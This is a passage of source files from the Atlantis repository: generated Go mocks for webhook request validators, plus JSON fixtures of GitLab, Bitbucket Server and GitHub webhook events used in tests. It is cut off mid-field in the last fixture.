"avatar_url": "http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=40\u0026d=identicon" }, "project_id": 5, "project":{ "id": 5, "name":"Gitlab Test", "description":"Aut reprehenderit ut est.", "web_url":"http://example.com/gitlabhq/gitlab-test", "avatar_url":null, "git_ssh_url":"git@example.com:gitlabhq/gitlab-test.git", "git_http_url":"http://example.com/gitlabhq/gitlab-test.git", "namespace":"GitlabHQ", "visibility_level":20, "path_with_namespace":"gitlabhq/gitlab-test", "default_branch":"main", "homepage":"http://example.com/gitlabhq/gitlab-test", "url":"http://example.com/gitlabhq/gitlab-test.git", "ssh_url":"git@example.com:gitlabhq/gitlab-test.git", "http_url":"http://example.com/gitlabhq/gitlab-test.git" }, "repository":{ "name": "Gitlab Test", "url": "http://example.com/gitlab-org/gitlab-test.git", "description": "Aut reprehenderit ut est.", "homepage": "http://example.com/gitlab-org/gitlab-test" }, "object_attributes": { "id": 1243, "note": "This is a commit comment. How does this work?", "noteable_type": "Commit", "author_id": 1, "created_at": "2015-05-17 18:08:09 UTC", "updated_at": "2015-05-17 18:08:09 UTC", "project_id": 5, "attachment":null, "line_code": "bec9703f7a456cd2b4ab5fb3220ae016e3e394e3_0_1", "commit_id": "cfe32cf61b73a0d5e9f13e774abde7ff789b1660", "noteable_id": null, "system": false, "st_diff": { "diff": "--- /dev/null\n+++ b/six\n@@ -0,0 +1 @@\n+Subproject commit 409f37c4f05865e4fb208c771485f211a22c4c2d\n", "new_path": "six", "old_path": "six", "a_mode": "0", "b_mode": "160000", "new_file": true, "renamed_file": false, "deleted_file": false }, "url": "http://example.com/gitlab-org/gitlab-test/commit/cfe32cf61b73a0d5e9f13e774abde7ff789b1660#note_1243" }, "commit": { "id": "cfe32cf61b73a0d5e9f13e774abde7ff789b1660", "message": "Add submodule\n\nSigned-off-by: Dmitriy Zaporozhets \u003cdmitriy.zaporozhets@gmail.com\u003e\n", "timestamp": "2014-02-27T10:06:20+02:00", "url": "http://example.com/gitlab-org/gitlab-test/commit/cfe32cf61b73a0d5e9f13e774abde7ff789b1660", "author": { "name": "Dmitriy Zaporozhets", "email": "dmitriy.zaporozhets@gmail.com" } } }` ================================================ FILE: server/controllers/events/mocks/mock_azuredevops_request_validator.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/controllers/events (interfaces: AzureDevopsRequestValidator) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" http "net/http" "reflect" "time" ) type MockAzureDevopsRequestValidator struct { fail func(message string, callerSkip ...int) } func NewMockAzureDevopsRequestValidator(options ...pegomock.Option) *MockAzureDevopsRequestValidator { mock := &MockAzureDevopsRequestValidator{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockAzureDevopsRequestValidator) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockAzureDevopsRequestValidator) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockAzureDevopsRequestValidator) Validate(r *http.Request, user []byte, pass []byte) ([]byte, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockAzureDevopsRequestValidator().") } _params := []pegomock.Param{r, user, pass} _result := pegomock.GetGenericMockFrom(mock).Invoke("Validate", _params, []reflect.Type{reflect.TypeOf((*[]byte)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 []byte var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].([]byte) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockAzureDevopsRequestValidator) VerifyWasCalledOnce() *VerifierMockAzureDevopsRequestValidator { return &VerifierMockAzureDevopsRequestValidator{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockAzureDevopsRequestValidator) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockAzureDevopsRequestValidator { return &VerifierMockAzureDevopsRequestValidator{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockAzureDevopsRequestValidator) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockAzureDevopsRequestValidator { return &VerifierMockAzureDevopsRequestValidator{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockAzureDevopsRequestValidator) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockAzureDevopsRequestValidator { return &VerifierMockAzureDevopsRequestValidator{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockAzureDevopsRequestValidator struct { mock *MockAzureDevopsRequestValidator invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockAzureDevopsRequestValidator) Validate(r *http.Request, user []byte, pass []byte) *MockAzureDevopsRequestValidator_Validate_OngoingVerification { _params := []pegomock.Param{r, user, pass} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Validate", _params, verifier.timeout) return &MockAzureDevopsRequestValidator_Validate_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockAzureDevopsRequestValidator_Validate_OngoingVerification struct { mock *MockAzureDevopsRequestValidator methodInvocations []pegomock.MethodInvocation } func (c *MockAzureDevopsRequestValidator_Validate_OngoingVerification) GetCapturedArguments() (*http.Request, []byte, []byte) { r, user, pass := c.GetAllCapturedArguments() return r[len(r)-1], user[len(user)-1], pass[len(pass)-1] } func (c *MockAzureDevopsRequestValidator_Validate_OngoingVerification) GetAllCapturedArguments() (_param0 []*http.Request, _param1 [][]byte, _param2 [][]byte) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]*http.Request, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(*http.Request) } } if len(_params) > 1 { _param1 = make([][]byte, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.([]byte) } } if len(_params) > 2 { _param2 = make([][]byte, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.([]byte) } } } return } ================================================ FILE: server/controllers/events/mocks/mock_github_request_validator.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/controllers/events (interfaces: GithubRequestValidator) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" http "net/http" "reflect" "time" ) type MockGithubRequestValidator struct { fail func(message string, callerSkip ...int) } func NewMockGithubRequestValidator(options ...pegomock.Option) *MockGithubRequestValidator { mock := &MockGithubRequestValidator{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockGithubRequestValidator) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockGithubRequestValidator) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockGithubRequestValidator) Validate(r *http.Request, secret []byte) ([]byte, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockGithubRequestValidator().") } _params := []pegomock.Param{r, secret} _result := pegomock.GetGenericMockFrom(mock).Invoke("Validate", _params, []reflect.Type{reflect.TypeOf((*[]byte)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 []byte var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].([]byte) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockGithubRequestValidator) VerifyWasCalledOnce() *VerifierMockGithubRequestValidator { return &VerifierMockGithubRequestValidator{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockGithubRequestValidator) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockGithubRequestValidator { return &VerifierMockGithubRequestValidator{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockGithubRequestValidator) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockGithubRequestValidator { return &VerifierMockGithubRequestValidator{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockGithubRequestValidator) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockGithubRequestValidator { return &VerifierMockGithubRequestValidator{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockGithubRequestValidator struct { mock *MockGithubRequestValidator invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockGithubRequestValidator) Validate(r *http.Request, secret []byte) *MockGithubRequestValidator_Validate_OngoingVerification { _params := []pegomock.Param{r, secret} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Validate", _params, verifier.timeout) return &MockGithubRequestValidator_Validate_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockGithubRequestValidator_Validate_OngoingVerification struct { mock *MockGithubRequestValidator methodInvocations []pegomock.MethodInvocation } func (c *MockGithubRequestValidator_Validate_OngoingVerification) GetCapturedArguments() (*http.Request, []byte) { r, secret := c.GetAllCapturedArguments() return r[len(r)-1], secret[len(secret)-1] } func (c *MockGithubRequestValidator_Validate_OngoingVerification) GetAllCapturedArguments() (_param0 []*http.Request, _param1 [][]byte) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]*http.Request, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(*http.Request) } } if len(_params) > 1 { _param1 = make([][]byte, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.([]byte) } } } return } ================================================ FILE: server/controllers/events/mocks/mock_gitlab_request_parser_validator.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/controllers/events (interfaces: GitlabRequestParserValidator) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" http "net/http" "reflect" "time" ) type MockGitlabRequestParserValidator struct { fail func(message string, callerSkip ...int) } func NewMockGitlabRequestParserValidator(options ...pegomock.Option) *MockGitlabRequestParserValidator { mock := &MockGitlabRequestParserValidator{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockGitlabRequestParserValidator) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockGitlabRequestParserValidator) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockGitlabRequestParserValidator) ParseAndValidate(r *http.Request, secret []byte) (interface{}, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockGitlabRequestParserValidator().") } _params := []pegomock.Param{r, secret} _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseAndValidate", _params, []reflect.Type{reflect.TypeOf((*interface{})(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 interface{} var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(interface{}) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockGitlabRequestParserValidator) VerifyWasCalledOnce() *VerifierMockGitlabRequestParserValidator { return &VerifierMockGitlabRequestParserValidator{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockGitlabRequestParserValidator) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockGitlabRequestParserValidator { return &VerifierMockGitlabRequestParserValidator{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockGitlabRequestParserValidator) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockGitlabRequestParserValidator { return &VerifierMockGitlabRequestParserValidator{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockGitlabRequestParserValidator) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockGitlabRequestParserValidator { return &VerifierMockGitlabRequestParserValidator{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockGitlabRequestParserValidator struct { mock *MockGitlabRequestParserValidator invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockGitlabRequestParserValidator) ParseAndValidate(r *http.Request, secret []byte) *MockGitlabRequestParserValidator_ParseAndValidate_OngoingVerification { _params := []pegomock.Param{r, secret} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseAndValidate", _params, verifier.timeout) return &MockGitlabRequestParserValidator_ParseAndValidate_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockGitlabRequestParserValidator_ParseAndValidate_OngoingVerification struct { mock *MockGitlabRequestParserValidator methodInvocations []pegomock.MethodInvocation } func (c *MockGitlabRequestParserValidator_ParseAndValidate_OngoingVerification) GetCapturedArguments() (*http.Request, []byte) { r, secret := c.GetAllCapturedArguments() return r[len(r)-1], secret[len(secret)-1] } func (c *MockGitlabRequestParserValidator_ParseAndValidate_OngoingVerification) GetAllCapturedArguments() (_param0 []*http.Request, _param1 [][]byte) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]*http.Request, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(*http.Request) } } if len(_params) > 1 { _param1 = make([][]byte, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.([]byte) } } } return } ================================================ FILE: server/controllers/events/testdata/bb-server-pull-deleted-event.json ================================================ { "eventKey":"pr:deleted", "date":"2017-09-19T11:16:17+1000", "actor":{ "name":"admin", "emailAddress":"admin@example.com", "id":1, "displayName":"Administrator", "active":true, "slug":"admin", "type":"NORMAL" }, "pullRequest":{ "id":10, "version":3, "title":"Commit message", "state":"OPEN", "open":true, "closed":false, "createdDate":1505783668760, "updatedDate":1505783750704, "fromRef":{ "id":"refs/heads/decline-me", "displayId":"decline-me", "latestCommit":"2d9fb6b9a46eafb1dcef7b008d1a429d45ca742c", "repository":{ "slug":"repository", "id":84, "name":"repository", "scmId":"git", "state":"AVAILABLE", "statusMessage":"Available", "forkable":true, "project":{ "key":"PROJ", "id":84, "name":"project", "public":false, "type":"NORMAL" }, "public":false } }, "toRef":{ "id":"refs/heads/main", "displayId":"main", "latestCommit":"7e48f426f0a6e47c5b5e862c31be6ca965f82c9c", "repository":{ "slug":"repository", "id":84, "name":"repository", "scmId":"git", "state":"AVAILABLE", "statusMessage":"Available", "forkable":true, "project":{ "key":"PROJ", "id":84, "name":"project", "public":false, "type":"NORMAL" }, "public":false } }, "locked":false, "author":{ "user":{ "name":"admin", "emailAddress":"admin@example.com", "id":1, "displayName":"Administrator", "active":true, "slug":"admin", "type":"NORMAL" }, "role":"AUTHOR", "approved":false, "status":"UNAPPROVED" }, "reviewers":[ { "user":{ "name":"user", "emailAddress":"user@example.com", "id":2, "displayName":"User", "active":true, "slug":"user", "type":"NORMAL" }, "role":"REVIEWER", "approved":false, "status":"UNAPPROVED" } ], "participants":[ ] } } ================================================ FILE: server/controllers/events/testdata/githubIssueCommentEvent.json ================================================ { "action": "created", "issue": { "url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/1", "repository_url": "https://api.github.com/repos/runatlantis/atlantis-tests", "labels_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/1/labels{/name}", "comments_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/1/comments", "events_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/1/events", "html_url": "https://github.com/runatlantis/atlantis-tests/pull/1", "id": 330256251, "node_id": "MDExOlB1bGxSZXF1ZXN0MTkzMzA4NzA3", "number": 1, "title": "Add new project layouts", "user": { "login": "runatlantis", "id": 1034429, "node_id": "MDQ6VXNlcjEwMzQ0Mjk=", "avatar_url": "https://avatars1.githubusercontent.com/u/1034429?v=4", "gravatar_id": "", "url": "https://api.github.com/users/runatlantis", "html_url": "https://github.com/runatlantis", "followers_url": "https://api.github.com/users/runatlantis/followers", "following_url": "https://api.github.com/users/runatlantis/following{/other_user}", "gists_url": "https://api.github.com/users/runatlantis/gists{/gist_id}", "starred_url": "https://api.github.com/users/runatlantis/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/runatlantis/subscriptions", "organizations_url": "https://api.github.com/users/runatlantis/orgs", "repos_url": "https://api.github.com/users/runatlantis/repos", "events_url": "https://api.github.com/users/runatlantis/events{/privacy}", "received_events_url": "https://api.github.com/users/runatlantis/received_events", "type": "User", "site_admin": false }, "labels": [ ], "state": "open", "locked": false, "assignee": null, "assignees": [ ], "milestone": null, "comments": 61, "created_at": "2018-06-07T12:45:41Z", "updated_at": "2018-06-13T12:53:40Z", "closed_at": null, "author_association": "OWNER", "pull_request": { "url": "https://api.github.com/repos/runatlantis/atlantis-tests/pulls/1", "html_url": "https://github.com/runatlantis/atlantis-tests/pull/1", "diff_url": "https://github.com/runatlantis/atlantis-tests/pull/1.diff", "patch_url": "https://github.com/runatlantis/atlantis-tests/pull/1.patch" }, "body": "" }, "comment": { "url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/comments/396926483", "html_url": "https://github.com/runatlantis/atlantis-tests/pull/1#issuecomment-396926483", "issue_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/1", "id": 396926483, "node_id": "MDEyOklzc3VlQ29tbWVudDM5NjkyNjQ4Mw==", "user": { "login": "runatlantis", "id": 1034429, "node_id": "MDQ6VXNlcjEwMzQ0Mjk=", "avatar_url": "https://avatars1.githubusercontent.com/u/1034429?v=4", "gravatar_id": "", "url": "https://api.github.com/users/runatlantis", "html_url": "https://github.com/runatlantis", "followers_url": "https://api.github.com/users/runatlantis/followers", "following_url": "https://api.github.com/users/runatlantis/following{/other_user}", "gists_url": "https://api.github.com/users/runatlantis/gists{/gist_id}", "starred_url": "https://api.github.com/users/runatlantis/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/runatlantis/subscriptions", "organizations_url": "https://api.github.com/users/runatlantis/orgs", "repos_url": "https://api.github.com/users/runatlantis/repos", "events_url": "https://api.github.com/users/runatlantis/events{/privacy}", "received_events_url": "https://api.github.com/users/runatlantis/received_events", "type": "User", "site_admin": false }, "created_at": "2018-06-13T12:53:40Z", "updated_at": "2018-06-13T12:53:40Z", "author_association": "OWNER", "body": "###comment body###" }, "repository": { "id": 136474117, "node_id": "MDEwOlJlcG9zaXRvcnkxMzY0NzQxMTc=", "name": "atlantis-tests", "full_name": "runatlantis/atlantis-tests", "owner": { "login": "runatlantis", "id": 1034429, "node_id": "MDQ6VXNlcjEwMzQ0Mjk=", "avatar_url": "https://avatars1.githubusercontent.com/u/1034429?v=4", "gravatar_id": "", "url": "https://api.github.com/users/runatlantis", "html_url": "https://github.com/runatlantis", "followers_url": "https://api.github.com/users/runatlantis/followers", "following_url": "https://api.github.com/users/runatlantis/following{/other_user}", "gists_url": "https://api.github.com/users/runatlantis/gists{/gist_id}", "starred_url": "https://api.github.com/users/runatlantis/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/runatlantis/subscriptions", "organizations_url": "https://api.github.com/users/runatlantis/orgs", "repos_url": "https://api.github.com/users/runatlantis/repos", "events_url": "https://api.github.com/users/runatlantis/events{/privacy}", "received_events_url": "https://api.github.com/users/runatlantis/received_events", "type": "User", "site_admin": false }, "private": false, "html_url": "https://github.com/runatlantis/atlantis-tests", "description": "A set of terraform projects that atlantis e2e tests run on.", "fork": true, "url": "https://api.github.com/repos/runatlantis/atlantis-tests", "forks_url": "https://api.github.com/repos/runatlantis/atlantis-tests/forks", "keys_url": "https://api.github.com/repos/runatlantis/atlantis-tests/keys{/key_id}", "collaborators_url": "https://api.github.com/repos/runatlantis/atlantis-tests/collaborators{/collaborator}", "teams_url": "https://api.github.com/repos/runatlantis/atlantis-tests/teams", "hooks_url": "https://api.github.com/repos/runatlantis/atlantis-tests/hooks", "issue_events_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/events{/number}", "events_url": "https://api.github.com/repos/runatlantis/atlantis-tests/events", "assignees_url": "https://api.github.com/repos/runatlantis/atlantis-tests/assignees{/user}", "branches_url": "https://api.github.com/repos/runatlantis/atlantis-tests/branches{/branch}", "tags_url": "https://api.github.com/repos/runatlantis/atlantis-tests/tags", "blobs_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/blobs{/sha}", "git_tags_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/tags{/sha}", "git_refs_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/refs{/sha}", "trees_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/trees{/sha}", "statuses_url": "https://api.github.com/repos/runatlantis/atlantis-tests/statuses/{sha}", "languages_url": "https://api.github.com/repos/runatlantis/atlantis-tests/languages", "stargazers_url": "https://api.github.com/repos/runatlantis/atlantis-tests/stargazers", "contributors_url": "https://api.github.com/repos/runatlantis/atlantis-tests/contributors", "subscribers_url": "https://api.github.com/repos/runatlantis/atlantis-tests/subscribers", "subscription_url": "https://api.github.com/repos/runatlantis/atlantis-tests/subscription", "commits_url": "https://api.github.com/repos/runatlantis/atlantis-tests/commits{/sha}", "git_commits_url": "https://api.github.com/repos/runatlantis/atlantis-tests/git/commits{/sha}", "comments_url": "https://api.github.com/repos/runatlantis/atlantis-tests/comments{/number}", "issue_comment_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues/comments{/number}", "contents_url": "https://api.github.com/repos/runatlantis/atlantis-tests/contents/{+path}", "compare_url": "https://api.github.com/repos/runatlantis/atlantis-tests/compare/{base}...{head}", "merges_url": "https://api.github.com/repos/runatlantis/atlantis-tests/merges", "archive_url": "https://api.github.com/repos/runatlantis/atlantis-tests/{archive_format}{/ref}", "downloads_url": "https://api.github.com/repos/runatlantis/atlantis-tests/downloads", "issues_url": "https://api.github.com/repos/runatlantis/atlantis-tests/issues{/number}", "pulls_url": "https://api.github.com/repos/runatlantis/atlantis-tests/pulls{/number}", "milestones_url": "https://api.github.com/repos/runatlantis/atlantis-tests/milestones{/number}", "notifications_url": "https://api.github.com/repos/runatlantis/atlantis-tests/notifications{?since,all,participating}", "labels_url": "https://api.github.com/repos/runatlantis/atlantis-tests/labels{/name}", "releases_url": "https://api.github.com/repos/runatlantis/atlantis-tests/releases{/id}", "deployments_url": "https://api.github.com/repos/runatlantis/atlantis-tests/deployments", "created_at": "2018-06-07T12:28:23Z", "updated_at": "2018-06-07T12:28:27Z", "pushed_at": "2018-06-11T16:22:17Z", "git_url": "git://github.com/runatlantis/atlantis-tests.git", "ssh_url": "git@github.com:runatlantis/atlantis-tests.git", "clone_url": "https://github.com/runatlantis/atlantis-tests.git", "svn_url": "https://github.com/runatlantis/atlantis-tests", "homepage": null, "size": 8, "stargazers_count": 0, "watchers_count": 0, "language": "HCL", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "forks_count": 0, "mirror_url": null, "archived": false, "open_issues_count": 2, "license": { "key": "other", "name": "Other", "spdx_id": null, "url": null, "node_id": "MDc6TGljZW5zZTA=" }, "forks": 0, "open_issues": 2, "watchers": 0, "default_branch": "main" }, "sender": { "login": "runatlantis", "id": 1034429, "node_id": "MDQ6VXNlcjEwMzQ0Mjk=", "avatar_url": "https://avatars1.githubusercontent.com/u/1034429?v=4", "gravatar_id": "", "url": "https://api.github.com/users/runatlantis", "html_url": "https://github.com/runatlantis", "followers_url": "https://api.github.com/users/runatlantis/followers", "following_url": "https://api.github.com/users/runatlantis/following{/other_user}", "gists_url": "https://api.github.com/users/runatlantis/gists{/gist_id}", "starred_url": "https://api.github.com/users/runatlantis/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/runatlantis/subscriptions", "organizations_url": "https://api.github.com/users/runatlantis/orgs", "repos_url": "https://api.github.com/users/runatlantis/repos", "events_url": "https://api.github.com/users/runatlantis/events{/privacy}", "received_events_url": "https://api.github.com/users/runatlantis/received_events", "type": "User", "site_admin": false } } ================================================ FILE: server/controllers/events/testdata/githubIssueCommentEvent_notAllowlisted.json ================================================ { "action": "created", "issue": { "url": "https://api.github.com/repos/baxterthehacker/public-repo/issues/2", "labels_url": "https://api.github.com/repos/baxterthehacker/public-repo/issues/2/labels{/name}", "comments_url": "https://api.github.com/repos/baxterthehacker/public-repo/issues/2/comments", "events_url": "https://api.github.com/repos/baxterthehacker/public-repo/issues/2/events", "html_url": "https://github.com/baxterthehacker/public-repo/issues/2", "id": 73464126, "number": 2, "title": "Spelling error in the README file", "user": { "login": "baxterthehacker", "id": 6752317, "avatar_url": "https://avatars.githubusercontent.com/u/6752317?v=3", "gravatar_id": "", "url": "https://api.github.com/users/baxterthehacker", "html_url": "https://github.com/baxterthehacker", "followers_url": "https://api.github.com/users/baxterthehacker/followers", "following_url": "https://api.github.com/users/baxterthehacker/following{/other_user}", "gists_url": "https://api.github.com/users/baxterthehacker/gists{/gist_id}", "starred_url": "https://api.github.com/users/baxterthehacker/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/baxterthehacker/subscriptions", "organizations_url": "https://api.github.com/users/baxterthehacker/orgs", "repos_url": "https://api.github.com/users/baxterthehacker/repos", "events_url": "https://api.github.com/users/baxterthehacker/events{/privacy}", "received_events_url": "https://api.github.com/users/baxterthehacker/received_events", "type": "User", "site_admin": false }, "labels": [ { "url": "https://api.github.com/repos/baxterthehacker/public-repo/labels/bug", "name": "bug", "color": "fc2929" } ], "state": "open", "locked": false, "assignee": null, "milestone": null, "comments": 1, "created_at": "2015-05-05T23:40:28Z", "updated_at": "2015-05-05T23:40:28Z", "closed_at": null, "body": "It looks like you accidentally spelled 'commit' with two 't's." }, "comment": { "url": "https://api.github.com/repos/baxterthehacker/public-repo/issues/comments/99262140", "html_url": "https://github.com/baxterthehacker/public-repo/issues/2#issuecomment-99262140", "issue_url": "https://api.github.com/repos/baxterthehacker/public-repo/issues/2", "id": 99262140, "user": { "login": "baxterthehacker", "id": 6752317, "avatar_url": "https://avatars.githubusercontent.com/u/6752317?v=3", "gravatar_id": "", "url": "https://api.github.com/users/baxterthehacker", "html_url": "https://github.com/baxterthehacker", "followers_url": "https://api.github.com/users/baxterthehacker/followers", "following_url": "https://api.github.com/users/baxterthehacker/following{/other_user}", "gists_url": "https://api.github.com/users/baxterthehacker/gists{/gist_id}", "starred_url": "https://api.github.com/users/baxterthehacker/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/baxterthehacker/subscriptions", "organizations_url": "https://api.github.com/users/baxterthehacker/orgs", "repos_url": "https://api.github.com/users/baxterthehacker/repos", "events_url": "https://api.github.com/users/baxterthehacker/events{/privacy}", "received_events_url": "https://api.github.com/users/baxterthehacker/received_events", "type": "User", "site_admin": false }, "created_at": "2015-05-05T23:40:28Z", "updated_at": "2015-05-05T23:40:28Z", "body": "atlantis plan" }, "repository": { "id": 35129377, "name": "public-repo", "full_name": "baxterthehacker/public-repo", "owner": { "login": "baxterthehacker", "id": 6752317, "avatar_url": "https://avatars.githubusercontent.com/u/6752317?v=3", "gravatar_id": "", "url": "https://api.github.com/users/baxterthehacker", "html_url": "https://github.com/baxterthehacker", "followers_url": "https://api.github.com/users/baxterthehacker/followers", "following_url": "https://api.github.com/users/baxterthehacker/following{/other_user}", "gists_url": "https://api.github.com/users/baxterthehacker/gists{/gist_id}", "starred_url": "https://api.github.com/users/baxterthehacker/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/baxterthehacker/subscriptions", "organizations_url": "https://api.github.com/users/baxterthehacker/orgs", "repos_url": "https://api.github.com/users/baxterthehacker/repos", "events_url": "https://api.github.com/users/baxterthehacker/events{/privacy}", "received_events_url": "https://api.github.com/users/baxterthehacker/received_events", "type": "User", "site_admin": false }, "private": false, "html_url": "https://github.com/baxterthehacker/public-repo", "description": "", "fork": false, "url": "https://api.github.com/repos/baxterthehacker/public-repo", "forks_url": "https://api.github.com/repos/baxterthehacker/public-repo/forks", "keys_url": "https://api.github.com/repos/baxterthehacker/public-repo/keys{/key_id}", "collaborators_url": "https://api.github.com/repos/baxterthehacker/public-repo/collaborators{/collaborator}", "teams_url": "https://api.github.com/repos/baxterthehacker/public-repo/teams", "hooks_url": "https://api.github.com/repos/baxterthehacker/public-repo/hooks", "issue_events_url": "https://api.github.com/repos/baxterthehacker/public-repo/issues/events{/number}", "events_url": "https://api.github.com/repos/baxterthehacker/public-repo/events", "assignees_url": "https://api.github.com/repos/baxterthehacker/public-repo/assignees{/user}", "branches_url": "https://api.github.com/repos/baxterthehacker/public-repo/branches{/branch}", "tags_url": "https://api.github.com/repos/baxterthehacker/public-repo/tags", "blobs_url": "https://api.github.com/repos/baxterthehacker/public-repo/git/blobs{/sha}", "git_tags_url": "https://api.github.com/repos/baxterthehacker/public-repo/git/tags{/sha}", "git_refs_url": "https://api.github.com/repos/baxterthehacker/public-repo/git/refs{/sha}", "trees_url": "https://api.github.com/repos/baxterthehacker/public-repo/git/trees{/sha}", "statuses_url": "https://api.github.com/repos/baxterthehacker/public-repo/statuses/{sha}", "languages_url": "https://api.github.com/repos/baxterthehacker/public-repo/languages", "stargazers_url": "https://api.github.com/repos/baxterthehacker/public-repo/stargazers", "contributors_url": "https://api.github.com/repos/baxterthehacker/public-repo/contributors", "subscribers_url": "https://api.github.com/repos/baxterthehacker/public-repo/subscribers", "subscription_url": "https://api.github.com/repos/baxterthehacker/public-repo/subscription", "commits_url": 